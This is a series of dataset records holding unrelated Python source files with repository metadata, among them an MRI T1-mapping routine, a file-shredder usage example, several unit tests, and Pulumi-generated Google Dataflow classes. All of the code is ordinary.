maxheap=mem['max']) except ValueError: pass # create algorithm instance qt1map = nighresjava.IntensityMp2rageT1Fitting() # set algorithm parameters qt1map.setFirstInversionTime(inversion_times[0]) qt1map.setSecondInversionTime(inversion_times[1]) qt1map.setFirstFlipAngle(flip_angles[0]) qt1map.setSecondFlipAngle(flip_angles[1]) qt1map.setInversionRepetitionTime(inversion_TR) qt1map.setFirstExcitationRepetitionTime(excitation_TR[0]) qt1map.setSecondExcitationRepetitionTime(excitation_TR[1]) qt1map.setNumberExcitations(N_excitations) qt1map.setInversionEfficiency(efficiency) qt1map.setCorrectB1inhomogeneities(correct_B1) # load first image and use it to set dimensions and resolution img = load_volume(uniform_image) data = img.get_data() #data = data[0:10,0:10,0:10] affine = img.affine header = img.header resolution = [x.item() for x in header.get_zooms()] dimensions = data.shape qt1map.setDimensions(dimensions[0], dimensions[1], dimensions[2]) qt1map.setResolutions(resolution[0], resolution[1], resolution[2]) # input images qt1map.setUniformImage(nighresjava.JArray('float')( (data.flatten('F')).astype(float))) if (correct_B1): data = load_volume(B1_map).get_data() qt1map.setB1mapImage(nighresjava.JArray('float')( (data.flatten('F')).astype(float))) # execute the algorithm try: qt1map.execute() except: # if the Java module fails, reraise the error it throws print("\n The underlying Java code did not execute cleanly: ") print(sys.exc_info()[0]) raise return # reshape output to what nibabel likes t1_data = np.reshape(np.array(qt1map.getQuantitativeT1mapImage(), dtype=np.float32), dimensions, 'F') r1_data = np.reshape(np.array(qt1map.getQuantitativeR1mapImage(), dtype=np.float32), dimensions, 'F') # adapt header max for each image so that correct max is displayed # and create nifiti objects header['cal_min'] = np.nanmin(t1_data) header['cal_max'] = np.nanmax(t1_data) t1 = nb.Nifti1Image(t1_data, affine, header) header['cal_min'] = np.nanmin(r1_data) header['cal_max'] = np.nanmax(r1_data) r1 = nb.Nifti1Image(r1_data, affine, header) if save_data: save_volume(t1_file, t1) save_volume(r1_file, r1) return {'t1': t1_file, 'r1': r1_file} else: return {'t1': t1, 'r1': r1}

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0.622398

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0.022015

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0.01105

0.038674

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0

null

0

1

0

1

0

null

0

7

9f47b279129d4846a10c9026df82468c0fc3ec2e

1,255

py

Python

example/ex_eraser.py

zoumingzhe/FileShredder

e9488370a819ccd8d734bde54a14523959371d3e

[ "MIT" ]

null

example/ex_eraser.py

zoumingzhe/FileShredder

e9488370a819ccd8d734bde54a14523959371d3e

[ "MIT" ]

null

example/ex_eraser.py

zoumingzhe/FileShredder

e9488370a819ccd8d734bde54a14523959371d3e

[ "MIT" ]

null

import os from ztools import fbasic from pyshredder import eraser f = fbasic() e = eraser() old_path = '.\\ex_file\\eraser_testfile.txt' f.ensure('.\\ex_file\\eraser') new_path = '.\\ex_file\\eraser\\eraser_testfile1.txt' f.copy(old_path, new_path) print("before file size:", os.path.getsize(new_path)) e.random(new_path) print("after file size:", os.path.getsize(new_path)) new_path = '.\\ex_file\\eraser\\eraser_testfile2.txt' f.copy(old_path, new_path) print("before file size:", os.path.getsize(new_path)) e.random_block(new_path) print("after file size:", os.path.getsize(new_path)) new_path = '.\\ex_file\\eraser\\eraser_testfile3.txt' f.copy(old_path, new_path) print("before file size:", os.path.getsize(new_path)) e.fill(new_path) print("after file size:", os.path.getsize(new_path)) new_path = '.\\ex_file\\eraser\\eraser_testfile4.txt' f.copy(old_path, new_path) print("before file size:", os.path.getsize(new_path)) e.fill(new_path, [1]) print("after file size:", os.path.getsize(new_path)) new_path = '.\\ex_file\\eraser\\eraser_testfile5.txt' f.copy(old_path, new_path) print("before file size:", os.path.getsize(new_path)) e.fill(new_path, [1, 2, 3, 4, 5]) print("after file size:", os.path.getsize(new_path)) input("按回车（Enter）继续")

29.880952

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0.732271

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1,255

4.02765

0.184332

0.200229

0.114416

0.160183

0.784897

0.756293

0.712815

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1,255

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null

1

0

1

0

1

0

null

0

7

e255f4fbcf38cc3020404481db9cfe2d6c4be3c0

732

py

Python

tests/unit/test_resources.py

LimaGuilherme/flask-boilerplate

4053dd2d24937d405fedcd839e15d2cc45d87f01

[ "MIT" ]

null

tests/unit/test_resources.py

LimaGuilherme/flask-boilerplate

4053dd2d24937d405fedcd839e15d2cc45d87f01

[ "MIT" ]

null

tests/unit/test_resources.py

LimaGuilherme/flask-boilerplate

4053dd2d24937d405fedcd839e15d2cc45d87f01

[ "MIT" ]

null

# -*- coding: utf-8 -*- from tests.unit import base from app import resources class CasingTest(base.TestCase): def test_should_convert_camel_to_snake(self): self.assertEqual(resources.ResourceBase.camel_to_snake('getThisSnaked'), 'get_this_snaked') def test_should_convert_snake_to_camel(self): self.assertEqual(resources.ResourceBase.snake_to_camel('get_this_camelled'), 'getThisCamelled') def test_should_convert_snake_upper_to_camel(self): self.assertEqual(resources.ResourceBase.snake_to_camel('GET_THIS_CAMELLED'), 'getThisCamelled') def test_should_convert_pascal_to_snake(self): self.assertEqual(resources.ResourceBase.camel_to_snake('GetThisSnaked'), 'get_this_snaked')

38.526316

103

0.782787

93

732

5.763441

0.333333

0.052239

0.097015

0.149254

0.779851

0.723881

0

0.001546

0.11612

732

18

104

40.666667

0.826893

0.028689

0

0.169252

0

0.363636

1

0.363636

false

0

0.181818

0

0.636364

0

null

0

1

0

null

0

1

0

1

0

7

e266346a79afef1f9fccd0ae023dc7dc1aae7ec4

82

py

Python

Egzersiz/canersoy/regexegzersiz2.py

ibrahimediz/ornekproje

c5ebeafc43a9c6d2aa639d0d95eedbce65991576

[ "Apache-2.0" ]

null

Egzersiz/canersoy/regexegzersiz2.py

ibrahimediz/ornekproje

c5ebeafc43a9c6d2aa639d0d95eedbce65991576

[ "Apache-2.0" ]

null

Egzersiz/canersoy/regexegzersiz2.py

ibrahimediz/ornekproje

c5ebeafc43a9c6d2aa639d0d95eedbce65991576

[ "Apache-2.0" ]

null

pattern = r"(\w*)\.?(\w+)@(\w+)\.(\w+)\.?(\w*)" # email için başka bir regex yolu

41

47

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13

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3

0.692308

0.205128

0.230769

0.205128

0

0.121951

82

2

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0.378049

0

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1

0

null

1

0

1

0

1

null

0

7

e287c9beb0016455581c661dd30db0e2ddc4ee07

4,212

py

Python

tests/rip/test_rip.py

My-Little-Cable-Co/rip

7d540721fea3d76601ad8af21b307d2ef70701a1

[ "MIT" ]

null

tests/rip/test_rip.py

My-Little-Cable-Co/rip

7d540721fea3d76601ad8af21b307d2ef70701a1

[ "MIT" ]

6

2020-09-20T03:51:09.000Z

2020-11-15T07:01:39.000Z

tests/rip/test_rip.py

My-Little-Cable-Co/rip

7d540721fea3d76601ad8af21b307d2ef70701a1

[ "MIT" ]

1

2020-10-05T02:24:18.000Z

import pytest import subprocess from rip.rip import Rip from unittest.mock import patch @pytest.mark.usefixtures('capsys') @patch('rip.rip.subprocess.run') def test_requirements_check__dvd_info_not_in_path(subprocess_run, capsys): def subprocess_run_side_effect(*args, **kwargs): if args == (['dvd_info', '--version'],): # For this test we are testing what happens when dvd_info is not # in the PATH, so we will mimic this condition by raising a # FileNotFoundError. raise FileNotFoundError('dvd_info not in PATH') elif args == (['HandBrakeCLI', '--version'],): # For this test we are focused on dvd_info, so we'll assume no # issues with HandBrakeCLI. pass else: raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}') subprocess_run.side_effect = subprocess_run_side_effect # assert the method returned False assert not Rip().requirements_check() stdout, stderr = capsys.readouterr() assert "ERROR, dependency not found: This program requires the 'dvd_info' binary to be in the PATH." in stdout @pytest.mark.usefixtures('capsys') @patch('rip.rip.subprocess.run') def test_requirements_check__dvd_info_in_path(subprocess_run, capsys): def subprocess_run_side_effect(*args, **kwargs): if args == (['dvd_info', '--version'],): # For this test we are testing what happens when dvd_info is in # the PATH, so we will mimic this condition by doing nothing. pass elif args == (['HandBrakeCLI', '--version'],): # For this test we are focused on dvd_info, so we'll assume no # issues with HandBrakeCLI. pass else: raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}') subprocess_run.side_effect = subprocess_run_side_effect # assert the method returned True assert Rip().requirements_check() stdout, stderr = capsys.readouterr() # assert that nothing was output as the result of running this assert not stdout @pytest.mark.usefixtures('capsys') @patch('rip.rip.subprocess.run') def test_requirements_check__handbrakecli_not_in_path(subprocess_run, capsys): def subprocess_run_side_effect(*args, **kwargs): if args == (['dvd_info', '--version'],): # For this test we are focused on HandBrakeCLI, so we'll assume no # issues with dvd_info. pass elif args == (['HandBrakeCLI', '--version'],): # For this test we are testing what happens when HandBrakeCLI is not # in the PATH, so we will mimic this condition by raising a # FileNotFoundError. raise FileNotFoundError('HandBrakeCLI not in PATH') else: raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}') subprocess_run.side_effect = subprocess_run_side_effect # assert the method returned False assert not Rip().requirements_check() stdout, stderr = capsys.readouterr() assert "ERROR, dependency not found: This program requires the 'HandBrakeCLI' binary to be in the PATH." in stdout @pytest.mark.usefixtures('capsys') @patch('rip.rip.subprocess.run') def test_requirements_check__handbrakecli_in_path(subprocess_run, capsys): def subprocess_run_side_effect(*args, **kwargs): if args == (['dvd_info', '--version'],): # For this test we are focused on HandBrakeCLI, so we'll assume no # issues with dvd_info. pass elif args == (['HandBrakeCLI', '--version'],): # For this test we are testing what happens when HandBrakeCLI is in # the PATH, so we will mimic this condition by doing nothing. pass else: raise ValueError(f'Unexpected arguments for mocked subprocess.run: {args}') subprocess_run.side_effect = subprocess_run_side_effect # assert the method returned True assert Rip().requirements_check() stdout, stderr = capsys.readouterr() # assert that nothing was output as the result of running this assert not stdout

40.114286

118

0.668091

538

4,212

5.081784

0.16171

0.114119

0.074616

0.100951

0.958303

0.952451

0

0.24264

4,212

104

119

40.5

0.857053

0.268519

0

0.8

0

0.23233

0.028796

0

0.133333

1

0.133333

false

0.1

0.066667

0

0.2

0

null

0

1

0

1

0

null

0

1

0

8

2ca54f8e96eb4fa755341211c9fb094048967794

140

py

Python

cherry/agents/algorithms.py

vishalbelsare/cherry-pytorch

7a05b488de1f4a5de52fe7d0f5e639b381da42d4

[ "MIT" ]

11

2020-01-28T15:40:25.000Z

2021-01-02T23:09:05.000Z

cherry/agents/algorithms.py

vishalbelsare/cherry-pytorch

7a05b488de1f4a5de52fe7d0f5e639b381da42d4

[ "MIT" ]

30

2019-12-14T12:11:07.000Z

2020-01-29T10:56:13.000Z

cherry/agents/algorithms.py

vishalbelsare/cherry-pytorch

7a05b488de1f4a5de52fe7d0f5e639b381da42d4

[ "MIT" ]

1

2020-01-29T13:15:46.000Z

from cherry.agents.dqn import DQN from cherry.agents.ddqn import DDQN from cherry.agents.vpg import VPG from cherry.agents.ddpg import DDPG

28

35

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4.833333

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0.551724

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0.114286

140

4

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0

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true

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1

0

1

0

1

0

7

3934da4a8d84067da0519c3a4fc3953e5f05fc67

263,436

py

Python

IsabelaFunctions/langlais_coeff.py

de-oliveira/IsabelaFunctions

6ea9f181f1e9eda90db3e2542d72eaf00caf977b

[ "MIT" ]

null

IsabelaFunctions/langlais_coeff.py

de-oliveira/IsabelaFunctions

6ea9f181f1e9eda90db3e2542d72eaf00caf977b

[ "MIT" ]

null

IsabelaFunctions/langlais_coeff.py

de-oliveira/IsabelaFunctions

6ea9f181f1e9eda90db3e2542d72eaf00caf977b

[ "MIT" ]

null

import numpy as np glm = np.array([[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ], [-1.5155, -0.60564, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 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Python

ExerciciosPythonMundo1/ex017.py

JamesonSantos/Curso-Python-Exercicios-Praticados

1fc1618ccf8692a552bac408e842dea8328e4e1a

[ "MIT" ]

null

ExerciciosPythonMundo1/ex017.py

JamesonSantos/Curso-Python-Exercicios-Praticados

1fc1618ccf8692a552bac408e842dea8328e4e1a

[ "MIT" ]

null

ExerciciosPythonMundo1/ex017.py

JamesonSantos/Curso-Python-Exercicios-Praticados

1fc1618ccf8692a552bac408e842dea8328e4e1a

[ "MIT" ]

null

''' n1 = float(input('Comprimento do cateto oposto: ')) n2 = float(input('Comprimento do cateto adjacente: ')) hi = (n1 ** 2 + n2 ** 2) ** (1/2) print('A hipotenusa vai medir {:.2f}'.format(hi)) ''' ''' from math import hypot n1 = float(input('Comprimento do cateto oposto: ')) n2 = float(input('Comprimento do cateto adjacente: ')) hi = hypot(n1, n2) print('A hipotenusa vai medir {:.2f}'.format(hi)) ''' ''' import math n1 = float(input('Comprimento do cateto oposto: ')) n2 = float(input('Comprimento do cateto adjacente: ')) hi = math.hypot(n1, n2) print('A hipotenusa vai medir {:.2f}'.format(hi)) ''' '''import math n1 = float(input('Comprimento do cateto oposto: ')) n2 = float(input('Comprimento do cateto adjacente: ')) print('A hipotenusa vai medir {:.2f}'.format(math.hypot(n1, n2)))''' from math import hypot n1 = float(input('Comprimento do cateto oposto: ')) n2 = float(input('Comprimento do cateto adjacente: ')) print('A hipotenusa vai medir {:.2f}'.format(hypot(n1,n2)))

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Python

sdk/python/pulumi_google_native/datapipelines/v1/outputs.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

44

2021-04-18T23:00:48.000Z

2022-02-14T17:43:15.000Z

sdk/python/pulumi_google_native/datapipelines/v1/outputs.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

354

2021-04-16T16:48:39.000Z

2022-03-31T17:16:39.000Z

sdk/python/pulumi_google_native/datapipelines/v1/outputs.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

8

2021-04-24T17:46:51.000Z

2022-01-05T10:40:21.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from . import outputs from ._enums import * __all__ = [ 'GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse', 'GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse', 'GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse', 'GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse', 'GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse', 'GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse', 'GoogleCloudDatapipelinesV1ScheduleSpecResponse', 'GoogleCloudDatapipelinesV1WorkloadResponse', ] @pulumi.output_type class GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse(dict): """ The environment values to be set at runtime for a Flex Template. """ @staticmethod def __key_warning(key: str): suggest = None if key == "additionalExperiments": suggest = "additional_experiments" elif key == "additionalUserLabels": suggest = "additional_user_labels" elif key == "enableStreamingEngine": suggest = "enable_streaming_engine" elif key == "flexrsGoal": suggest = "flexrs_goal" elif key == "ipConfiguration": suggest = "ip_configuration" elif key == "kmsKeyName": suggest = "kms_key_name" elif key == "machineType": suggest = "machine_type" elif key == "maxWorkers": suggest = "max_workers" elif key == "numWorkers": suggest = "num_workers" elif key == "serviceAccountEmail": suggest = "service_account_email" elif key == "tempLocation": suggest = "temp_location" elif key == "workerRegion": suggest = "worker_region" elif key == "workerZone": suggest = "worker_zone" if suggest: pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, additional_experiments: Sequence[str], additional_user_labels: Mapping[str, str], enable_streaming_engine: bool, flexrs_goal: str, ip_configuration: str, kms_key_name: str, machine_type: str, max_workers: int, network: str, num_workers: int, service_account_email: str, subnetwork: str, temp_location: str, worker_region: str, worker_zone: str, zone: str): """ The environment values to be set at runtime for a Flex Template. :param Sequence[str] additional_experiments: Additional experiment flags for the job. :param Mapping[str, str] additional_user_labels: Additional user labels to be specified for the job. Keys and values must follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions). An object containing a list of key/value pairs. Example: `{ "name": "wrench", "mass": "1kg", "count": "3" }`. :param bool enable_streaming_engine: Whether to enable Streaming Engine for the job. :param str flexrs_goal: Set FlexRS goal for the job. https://cloud.google.com/dataflow/docs/guides/flexrs :param str ip_configuration: Configuration for VM IPs. :param str kms_key_name: Name for the Cloud KMS key for the job. Key format is: projects//locations//keyRings//cryptoKeys/ :param str machine_type: The machine type to use for the job. Defaults to the value from the template if not specified. :param int max_workers: The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000. :param str network: Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default". :param int num_workers: The initial number of Compute Engine instances for the job. :param str service_account_email: The email address of the service account to run the job as. :param str subnetwork: Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL. :param str temp_location: The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`. :param str worker_region: The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, defaults to the control plane region. :param str worker_zone: The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence. :param str zone: The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence. """ pulumi.set(__self__, "additional_experiments", additional_experiments) pulumi.set(__self__, "additional_user_labels", additional_user_labels) pulumi.set(__self__, "enable_streaming_engine", enable_streaming_engine) pulumi.set(__self__, "flexrs_goal", flexrs_goal) pulumi.set(__self__, "ip_configuration", ip_configuration) pulumi.set(__self__, "kms_key_name", kms_key_name) pulumi.set(__self__, "machine_type", machine_type) pulumi.set(__self__, "max_workers", max_workers) pulumi.set(__self__, "network", network) pulumi.set(__self__, "num_workers", num_workers) pulumi.set(__self__, "service_account_email", service_account_email) pulumi.set(__self__, "subnetwork", subnetwork) pulumi.set(__self__, "temp_location", temp_location) pulumi.set(__self__, "worker_region", worker_region) pulumi.set(__self__, "worker_zone", worker_zone) pulumi.set(__self__, "zone", zone) @property @pulumi.getter(name="additionalExperiments") def additional_experiments(self) -> Sequence[str]: """ Additional experiment flags for the job. """ return pulumi.get(self, "additional_experiments") @property @pulumi.getter(name="additionalUserLabels") def additional_user_labels(self) -> Mapping[str, str]: """ Additional user labels to be specified for the job. Keys and values must follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions). An object containing a list of key/value pairs. Example: `{ "name": "wrench", "mass": "1kg", "count": "3" }`. """ return pulumi.get(self, "additional_user_labels") @property @pulumi.getter(name="enableStreamingEngine") def enable_streaming_engine(self) -> bool: """ Whether to enable Streaming Engine for the job. """ return pulumi.get(self, "enable_streaming_engine") @property @pulumi.getter(name="flexrsGoal") def flexrs_goal(self) -> str: """ Set FlexRS goal for the job. https://cloud.google.com/dataflow/docs/guides/flexrs """ return pulumi.get(self, "flexrs_goal") @property @pulumi.getter(name="ipConfiguration") def ip_configuration(self) -> str: """ Configuration for VM IPs. """ return pulumi.get(self, "ip_configuration") @property @pulumi.getter(name="kmsKeyName") def kms_key_name(self) -> str: """ Name for the Cloud KMS key for the job. Key format is: projects//locations//keyRings//cryptoKeys/ """ return pulumi.get(self, "kms_key_name") @property @pulumi.getter(name="machineType") def machine_type(self) -> str: """ The machine type to use for the job. Defaults to the value from the template if not specified. """ return pulumi.get(self, "machine_type") @property @pulumi.getter(name="maxWorkers") def max_workers(self) -> int: """ The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000. """ return pulumi.get(self, "max_workers") @property @pulumi.getter def network(self) -> str: """ Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default". """ return pulumi.get(self, "network") @property @pulumi.getter(name="numWorkers") def num_workers(self) -> int: """ The initial number of Compute Engine instances for the job. """ return pulumi.get(self, "num_workers") @property @pulumi.getter(name="serviceAccountEmail") def service_account_email(self) -> str: """ The email address of the service account to run the job as. """ return pulumi.get(self, "service_account_email") @property @pulumi.getter def subnetwork(self) -> str: """ Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL. """ return pulumi.get(self, "subnetwork") @property @pulumi.getter(name="tempLocation") def temp_location(self) -> str: """ The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`. """ return pulumi.get(self, "temp_location") @property @pulumi.getter(name="workerRegion") def worker_region(self) -> str: """ The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, defaults to the control plane region. """ return pulumi.get(self, "worker_region") @property @pulumi.getter(name="workerZone") def worker_zone(self) -> str: """ The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence. """ return pulumi.get(self, "worker_zone") @property @pulumi.getter def zone(self) -> str: """ The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence. """ return pulumi.get(self, "zone") @pulumi.output_type class GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse(dict): """ Launch Flex Template parameter. """ @staticmethod def __key_warning(key: str): suggest = None if key == "containerSpecGcsPath": suggest = "container_spec_gcs_path" elif key == "jobName": suggest = "job_name" elif key == "launchOptions": suggest = "launch_options" elif key == "transformNameMappings": suggest = "transform_name_mappings" if suggest: pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, container_spec_gcs_path: str, environment: 'outputs.GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse', job_name: str, launch_options: Mapping[str, str], parameters: Mapping[str, str], transform_name_mappings: Mapping[str, str], update: bool): """ Launch Flex Template parameter. :param str container_spec_gcs_path: Cloud Storage path to a file with a JSON-serialized ContainerSpec as content. :param 'GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse' environment: The runtime environment for the Flex Template job. :param str job_name: The job name to use for the created job. For an update job request, the job name should be the same as the existing running job. :param Mapping[str, str] launch_options: Launch options for this Flex Template job. This is a common set of options across languages and templates. This should not be used to pass job parameters. :param Mapping[str, str] parameters: The parameters for the Flex Template. Example: `{"num_workers":"5"}` :param Mapping[str, str] transform_name_mappings: Use this to pass transform name mappings for streaming update jobs. Example: `{"oldTransformName":"newTransformName",...}` :param bool update: Set this to true if you are sending a request to update a running streaming job. When set, the job name should be the same as the running job. """ pulumi.set(__self__, "container_spec_gcs_path", container_spec_gcs_path) pulumi.set(__self__, "environment", environment) pulumi.set(__self__, "job_name", job_name) pulumi.set(__self__, "launch_options", launch_options) pulumi.set(__self__, "parameters", parameters) pulumi.set(__self__, "transform_name_mappings", transform_name_mappings) pulumi.set(__self__, "update", update) @property @pulumi.getter(name="containerSpecGcsPath") def container_spec_gcs_path(self) -> str: """ Cloud Storage path to a file with a JSON-serialized ContainerSpec as content. """ return pulumi.get(self, "container_spec_gcs_path") @property @pulumi.getter def environment(self) -> 'outputs.GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse': """ The runtime environment for the Flex Template job. """ return pulumi.get(self, "environment") @property @pulumi.getter(name="jobName") def job_name(self) -> str: """ The job name to use for the created job. For an update job request, the job name should be the same as the existing running job. """ return pulumi.get(self, "job_name") @property @pulumi.getter(name="launchOptions") def launch_options(self) -> Mapping[str, str]: """ Launch options for this Flex Template job. This is a common set of options across languages and templates. This should not be used to pass job parameters. """ return pulumi.get(self, "launch_options") @property @pulumi.getter def parameters(self) -> Mapping[str, str]: """ The parameters for the Flex Template. Example: `{"num_workers":"5"}` """ return pulumi.get(self, "parameters") @property @pulumi.getter(name="transformNameMappings") def transform_name_mappings(self) -> Mapping[str, str]: """ Use this to pass transform name mappings for streaming update jobs. Example: `{"oldTransformName":"newTransformName",...}` """ return pulumi.get(self, "transform_name_mappings") @property @pulumi.getter def update(self) -> bool: """ Set this to true if you are sending a request to update a running streaming job. When set, the job name should be the same as the running job. """ return pulumi.get(self, "update") @pulumi.output_type class GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse(dict): """ A request to launch a Dataflow job from a Flex Template. """ @staticmethod def __key_warning(key: str): suggest = None if key == "launchParameter": suggest = "launch_parameter" elif key == "validateOnly": suggest = "validate_only" if suggest: pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, launch_parameter: 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse', location: str, project: str, validate_only: bool): """ A request to launch a Dataflow job from a Flex Template. :param 'GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse' launch_parameter: Parameter to launch a job from a Flex Template. :param str location: The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request. For example, `us-central1`, `us-west1`. :param str project: The ID of the Cloud Platform project that the job belongs to. :param bool validate_only: If true, the request is validated but not actually executed. Defaults to false. """ pulumi.set(__self__, "launch_parameter", launch_parameter) pulumi.set(__self__, "location", location) pulumi.set(__self__, "project", project) pulumi.set(__self__, "validate_only", validate_only) @property @pulumi.getter(name="launchParameter") def launch_parameter(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse': """ Parameter to launch a job from a Flex Template. """ return pulumi.get(self, "launch_parameter") @property @pulumi.getter def location(self) -> str: """ The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request. For example, `us-central1`, `us-west1`. """ return pulumi.get(self, "location") @property @pulumi.getter def project(self) -> str: """ The ID of the Cloud Platform project that the job belongs to. """ return pulumi.get(self, "project") @property @pulumi.getter(name="validateOnly") def validate_only(self) -> bool: """ If true, the request is validated but not actually executed. Defaults to false. """ return pulumi.get(self, "validate_only") @pulumi.output_type class GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse(dict): """ Parameters to provide to the template being launched. """ @staticmethod def __key_warning(key: str): suggest = None if key == "jobName": suggest = "job_name" elif key == "transformNameMapping": suggest = "transform_name_mapping" if suggest: pulumi.log.warn(f"Key '{key}' not found in 